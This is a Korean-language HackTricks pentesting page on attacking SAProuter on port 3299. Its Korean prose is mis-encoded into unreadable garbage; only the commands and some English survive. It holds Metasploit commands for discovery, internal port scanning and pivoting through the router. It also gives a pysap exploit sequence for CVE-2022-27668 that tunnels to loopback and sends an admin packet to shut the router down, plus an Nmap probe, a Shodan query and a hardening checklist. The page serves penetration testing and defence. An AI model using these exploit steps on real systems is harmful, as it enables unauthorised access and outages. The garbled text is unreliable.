# 3299/tcp - Pentesting SAProuter
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
PORT STATE SERVICE VERSION
3299/tcp open saprouter?
์ด๊ฒ์ https://blog.rapid7.com/2014/01/09/piercing-saprouter-with-metasploit/์ ๊ฒ์๋ฌผ ์์ฝ์ ๋๋ค.
Metasploit์ ์ด์ฉํ SAProuter ์นจํฌ ์ดํดํ๊ธฐ
SAProuter๋ SAP ์์คํ ์ ์ํ ๋ฆฌ๋ฒ์ค ํ๋ก์ ์ญํ ์ ํ๋ฉฐ, ์ฃผ๋ก ์ธํฐ๋ท๊ณผ ๋ด๋ถ SAP ๋คํธ์ํฌ ๊ฐ์ ์ ๊ทผ์ ์ ์ดํฉ๋๋ค. ์ผ๋ฐ์ ์ผ๋ก TCP ํฌํธ 3299๋ฅผ ํตํด ์กฐ์ง์ ๋ฐฉํ๋ฒฝ์ ํต๊ณผํ์ฌ ์ธํฐ๋ท์ ๋ ธ์ถ๋ฉ๋๋ค. ์ด ์ค์ ์ SAProuter๋ฅผ ์นจํฌ ํ ์คํธ์ ๋งค๋ ฅ์ ์ธ ๋์์ผ๋ก ๋ง๋ค๋ฉฐ, ๊ณ ๊ฐ์น ๋ด๋ถ ๋คํธ์ํฌ๋ก์ ๊ฒ์ดํธ์จ์ด ์ญํ ์ ํ ์ ์์ต๋๋ค.
์ค์บ๋ ๋ฐ ์ ๋ณด ์์ง
์ด๊ธฐ์๋ sap_service_discovery ๋ชจ๋์ ์ฌ์ฉํ์ฌ ์ฃผ์ด์ง IP์์ SAP ๋ผ์ฐํฐ๊ฐ ์คํ ์ค์ธ์ง ํ์ธํ๊ธฐ ์ํด ์ค์บ์ ์ํํฉ๋๋ค. ์ด ๋จ๊ณ๋ SAP ๋ผ์ฐํฐ์ ์กด์ฌ์ ์ด๋ฆฐ ํฌํธ๋ฅผ ํ์ธํ๋ ๋ฐ ์ค์ํฉ๋๋ค.
msf> use auxiliary/scanner/sap/sap_service_discovery
msf auxiliary(sap_service_discovery) > set RHOSTS 1.2.3.101
msf auxiliary(sap_service_discovery) > run
๋ฐ๊ฒฌ ํ, sap_router_info_request ๋ชจ๋์ ์ฌ์ฉํ์ฌ SAP ๋ผ์ฐํฐ์ ๊ตฌ์ฑ์ ๋ํ ์ถ๊ฐ ์กฐ์ฌ๊ฐ ์ํ๋์ด ๋ด๋ถ ๋คํธ์ํฌ ์ธ๋ถ์ ๋ณด๋ฅผ ์ ์ฌ์ ์ผ๋ก ๋๋ฌ๋ ๋๋ค.
msf auxiliary(sap_router_info_request) > use auxiliary/scanner/sap/sap_router_info_request
msf auxiliary(sap_router_info_request) > set RHOSTS 1.2.3.101
msf auxiliary(sap_router_info_request) > run
๋ด๋ถ ์๋น์ค ์ด๊ฑฐํ๊ธฐ
ํ๋ํ ๋ด๋ถ ๋คํธ์ํฌ ํต์ฐฐ๋ ฅ์ ๋ฐํ์ผ๋ก, sap_router_portscanner ๋ชจ๋์ SAProuter๋ฅผ ํตํด ๋ด๋ถ ํธ์คํธ์ ์๋น์ค๋ฅผ ํ์ํ๋ ๋ฐ ์ฌ์ฉ๋์ด ๋ด๋ถ ๋คํธ์ํฌ ๋ฐ ์๋น์ค ๊ตฌ์ฑ์ ๋ํ ๋ ๊น์ ์ดํด๋ฅผ ์ ๊ณตํฉ๋๋ค.
msf auxiliary(sap_router_portscanner) > set INSTANCES 00-50
msf auxiliary(sap_router_portscanner) > set PORTS 32NN
์ด ๋ชจ๋์ ํน์ SAP ์ธ์คํด์ค์ ํฌํธ๋ฅผ ํ๊ฒํ ํ๋ ์ ์ฐ์ฑ ๋๋ถ์ ๋ด๋ถ ๋คํธ์ํฌ ํ์์ ํจ๊ณผ์ ์ธ ๋๊ตฌ์ ๋๋ค.
๊ณ ๊ธ ์ด๊ฑฐ ๋ฐ ACL ๋งคํ
์ถ๊ฐ ์ค์บ์ ํตํด SAProuter์์ ์ก์ธ์ค ์ ์ด ๋ชฉ๋ก(ACL)์ด ์ด๋ป๊ฒ ๊ตฌ์ฑ๋์ด ์๋์ง, ์ด๋ค ์ฐ๊ฒฐ์ด ํ์ฉ๋๊ฑฐ๋ ์ฐจ๋จ๋๋์ง๋ฅผ ํ์ธํ ์ ์์ต๋๋ค. ์ด ์ ๋ณด๋ ๋ณด์ ์ ์ฑ ๊ณผ ์ ์ฌ์ ์ทจ์ฝ์ ์ ์ดํดํ๋ ๋ฐ ์ค์ํฉ๋๋ค.
msf auxiliary(sap_router_portscanner) > set MODE TCP
msf auxiliary(sap_router_portscanner) > set PORTS 80,32NN
๋ด๋ถ ํธ์คํธ์ ๋ธ๋ผ์ธ๋ ์ด๊ฑฐ
SAProuter์์ ์ง์ ์ ์ธ ์ ๋ณด๊ฐ ์ ํ๋ ์๋๋ฆฌ์ค์์๋ ๋ธ๋ผ์ธ๋ ์ด๊ฑฐ์ ๊ฐ์ ๊ธฐ์ ์ ์ ์ฉํ ์ ์์ต๋๋ค. ์ด ์ ๊ทผ ๋ฐฉ์์ ๋ด๋ถ ํธ์คํธ ์ด๋ฆ์ ์กด์ฌ๋ฅผ ์ถ์ธกํ๊ณ ํ์ธํ๋ ค๊ณ ์๋ํ์ฌ ์ง์ ์ ์ธ IP ์ฃผ์ ์์ด ์ ์ฌ์ ์ธ ๋์์ ๋๋ฌ๋ ๋๋ค.
์นจํฌ ํ ์คํธ๋ฅผ ์ํ ์ ๋ณด ํ์ฉ
๋คํธ์ํฌ๋ฅผ ๋งคํํ๊ณ ์ ๊ทผ ๊ฐ๋ฅํ ์๋น์ค๋ฅผ ์๋ณํ ํ, ์นจํฌ ํ ์คํธ ๋ด๋น์๋ Metasploit์ ํ๋ก์ ๊ธฐ๋ฅ์ ํ์ฉํ์ฌ SAProuter๋ฅผ ํตํด ๋ด๋ถ SAP ์๋น์ค์ ์ถ๊ฐ ํ์ ๋ฐ ์ ์ฉ์ ์ํด ํผ๋ฒํ ์ ์์ต๋๋ค.
msf auxiliary(sap_hostctrl_getcomputersystem) > set Proxies sapni:1.2.3.101:3299
msf auxiliary(sap_hostctrl_getcomputersystem) > set RHOSTS 192.168.1.18
msf auxiliary(sap_hostctrl_getcomputersystem) > run
๊ฒฐ๋ก
์ด ์ ๊ทผ ๋ฐฉ์์ ์์ ํ SAProuter ๊ตฌ์ฑ์ ์ค์์ฑ์ ๊ฐ์กฐํ๊ณ , ๋ชฉํ ์งํฅ์ ์ธ ์นจํฌ ํ ์คํธ๋ฅผ ํตํด ๋ด๋ถ ๋คํธ์ํฌ์ ์ ๊ทผํ ์ ์๋ ๊ฐ๋ฅ์ฑ์ ๋ถ๊ฐ์ํต๋๋ค. SAP ๋ผ์ฐํฐ๋ฅผ ์ ์ ํ ๋ณดํธํ๊ณ ๋คํธ์ํฌ ๋ณด์ ์ํคํ ์ฒ์์์ ์ญํ ์ ์ดํดํ๋ ๊ฒ์ ๋ฌด๋จ ์ ๊ทผ์ผ๋ก๋ถํฐ ๋ณดํธํ๋ ๋ฐ ์ค์ํฉ๋๋ค.
Metasploit ๋ชจ๋ ๋ฐ ์ฌ์ฉ๋ฒ์ ๋ํ ์์ธํ ์ ๋ณด๋ Rapid7์ ๋ฐ์ดํฐ๋ฒ ์ด์ค๋ฅผ ๋ฐฉ๋ฌธํ์ธ์.
์ต๊ทผ ์ทจ์ฝ์ (2022-2025)
CVE-2022-27668 โ ๋ถ์ ์ ํ ์ ๊ทผ ์ ์ด โ ์๊ฒฉ ๊ด๋ฆฌ ๋ช ๋ น ์คํ
2022๋
6์ SAP๋ SAProuter(๋ชจ๋ ์ปค๋ โฅ 7.22)์ ์น๋ช
์ ์ธ ๊ฒฐํจ(CVSS 9.8)์ ๋ค๋ฃฌ ๋ณด์ ๋
ธํธ 3158375๋ฅผ ๋ฐํํ์ต๋๋ค. ์ธ์ฆ๋์ง ์์ ๊ณต๊ฒฉ์๋ ํ์ฉ๋ saprouttab ํญ๋ชฉ์ ์
์ฉํ์ฌ ์๊ฒฉ ํธ์คํธ์์ ๊ด๋ฆฌ ํจํท(์: shutdown, trace-level, connection-kill)์ ๋ณด๋ผ ์ ์์ต๋๋ค. ์ด๋ ๋ผ์ฐํฐ๊ฐ -X ์๊ฒฉ ๊ด๋ฆฌ ์ต์
์์ด ์์๋์์ ๋๋ ๊ฐ๋ฅํฉ๋๋ค.
์ด ๋ฌธ์ ๋ ์ง์ ๋์ง ์์ ์ฃผ์ 0.0.0.0์ ํ๊ฒ์ผ๋ก ํ์ฌ ๋ผ์ฐํฐ์ ์์ฒด ๋ฃจํ๋ฐฑ ์ธํฐํ์ด์ค๋ก ํฐ๋์ ๊ตฌ์ถํ ์ ์๋ ๊ฐ๋ฅ์ฑ์์ ๋ฐ์ํฉ๋๋ค. ํฐ๋์ด ์ค์ ๋๋ฉด ๊ณต๊ฒฉ์๋ ๋ก์ปฌ ํธ์คํธ ๊ถํ์ ์ป๊ณ ๋ชจ๋ ๊ด๋ฆฌ ๋ช ๋ น์ ์คํํ ์ ์์ต๋๋ค.
์ค์ ์ ์ฉ์ pysap ํ๋ ์์ํฌ๋ก ์ฌํํ ์ ์์ต๋๋ค:
# 1. Build a loopback tunnel through the vulnerable SAProuter
python router_portfw.py -d <ROUTER_IP> -p 3299 \
-t 0.0.0.0 -r 3299 \
-a 127.0.0.1 -l 3299 -v
# 2. Send an admin packet (here: stop the remote router)
python router_admin.py -s -d 127.0.0.1 -p 3299
์ํฅ์ ๋ฐ๋ ๋ฒ์
- ๋ ๋ฆฝํ SAProuter 7.22 / 7.53
- ์ปค๋ 7.49, 7.77, 7.81, 7.85โ7.88 (KRNL64NUC/UC ํฌํจ)
์์ / ์ํ
- SAP ๋ ธํธ 3158375์ ํจ๊ป ์ ๊ณต๋ ํจ์น๋ฅผ ์ ์ฉํฉ๋๋ค.
saprouttab์P๋ฐS๋ผ์ธ์์ ์์ผ๋์นด๋(*) ๋์์ ์ ๊ฑฐํฉ๋๋ค.- ๋ผ์ฐํฐ๊ฐ
-X์ต์ ์์ด ์์๋๊ณ ์ธํฐ๋ท์ ์ง์ ๋ ธ์ถ๋์ง ์๋๋ก ํฉ๋๋ค.
์ ๋ฐ์ดํธ๋ ๋๊ตฌ ๋ฐ ํธ๋ฆญ
- pysap โ ์ ๊ทน์ ์ผ๋ก ์ ์ง ๊ด๋ฆฌ๋๋ฉฐ, ์ฌ์ฉ์ ์ ์ NI/Router ํจํท์ ์ ์ํ๊ฑฐ๋ ACL์ ํผ์งํ๊ฑฐ๋ CVE-2022-27668 ์ต์คํ๋ก์์ ์๋ํํ๊ธฐ ์ํด
router_portfw.py,router_admin.py๋ฐrouter_trace.py๋ฅผ ์ ๊ณตํฉ๋๋ค. - Nmap โ ์ฌ์ฉ์ ์ ์ SAProuter ํ๋ก๋ธ๋ฅผ ์ถ๊ฐํ์ฌ ์๋น์ค ํ์ง๋ฅผ ํ์ฅํฉ๋๋ค:
Probe TCP SAProuter q|\x00\x00\x00\x00|
ports 3299
match saprouter m|SAProuter ([\d.]+)| p/SAProuter/ v/$1/
NSE ์คํฌ๋ฆฝํธ ๋๋ --script=banner์ ๊ฒฐํฉํ์ฌ ๋ฐฐ๋ ๋ฌธ์์ด(SAProuter <ver> on '<host>')์ ์ ์ถํ๋ ๋ฒ์ ์ ๋น ๋ฅด๊ฒ ์๋ณํฉ๋๋ค.
- Metasploit โ ์์ ํ์๋ ๋ณด์กฐ ๋ชจ๋์ pysap๋ก ์์ฑ๋ SOCKS ๋๋ NI ํ๋ก์๋ฅผ ํตํด ์ฌ์ ํ ์๋ํ์ฌ ๋ผ์ฐํฐ๊ฐ ์ง์ ์ ๊ทผ์ ์ฐจ๋จํ๋๋ผ๋ ์ ์ฒด ํ๋ ์์ํฌ ํตํฉ์ ๊ฐ๋ฅํ๊ฒ ํฉ๋๋ค.
๊ฐํ ๋ฐ ํ์ง ์ฒดํฌ๋ฆฌ์คํธ
- ๊ฒฝ๊ณ ๋ฐฉํ๋ฒฝ์์ ํฌํธ 3299/TCP๋ฅผ ํํฐ๋งํฉ๋๋ค โ ์ ๋ขฐํ ์ ์๋ SAP ์ง์ ๋คํธ์ํฌ์์๋ง ํธ๋ํฝ์ ํ์ฉํฉ๋๋ค.
- SAProuter๋ฅผ ์์ ํ ํจ์น ์ํ๋ก ์ ์งํฉ๋๋ค;
saprouter -v๋ก ํ์ธํ๊ณ ์ต์ ์ปค๋ ํจ์น ์์ค๊ณผ ๋น๊ตํฉ๋๋ค. saprouttab์์ ์๊ฒฉํ๊ณ ํธ์คํธ ํน์ ํญ๋ชฉ์ ์ฌ์ฉํฉ๋๋ค;*์์ผ๋์นด๋๋ฅผ ํผํ๊ณ ์์์ ํธ์คํธ๋ ํฌํธ๋ฅผ ๋์์ผ๋ก ํ๋P/S๊ท์น์ ๊ฑฐ๋ถํฉ๋๋ค.- ์๋น์ค ์์ ์
-S <secudir>+ SNC๋ฅผ ์ฌ์ฉํ์ฌ ์ํธํ ๋ฐ ์ํธ ์ธ์ฆ์ ๊ฐ์ ํฉ๋๋ค. - ์๊ฒฉ ๊ด๋ฆฌ(
-X)๋ฅผ ๋นํ์ฑํํ๊ณ , ๊ฐ๋ฅํ๋ค๋ฉด ๋ฆฌ์ค๋๋ฅผ127.0.0.1์ ๋ฐ์ธ๋ฉํ๊ณ ํ์ํ ํธ๋ํฝ์ ์ํด ์ธ๋ถ ๋ฆฌ๋ฒ์ค ํ๋ก์๋ฅผ ์ฌ์ฉํฉ๋๋ค. - ์์ฌ์ค๋ฌ์ด
ROUTER_ADMํจํท์ด๋0.0.0.0์ ๋ํ ์์์น ๋ชปํNI_ROUTE์์ฒญ์ ์ํด dev_rout ๋ก๊ทธ๋ฅผ ๋ชจ๋ํฐ๋งํฉ๋๋ค.
์ฐธ์กฐ
- https://www.rapid7.com/blog/post/2014/01/09/piercing-saprouter-with-metasploit/
- https://sec-consult.com/vulnerability-lab/advisory/improper-access-control-in-sap-saprouter/
Shodan
port:3299 !HTTP Network packet too big
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


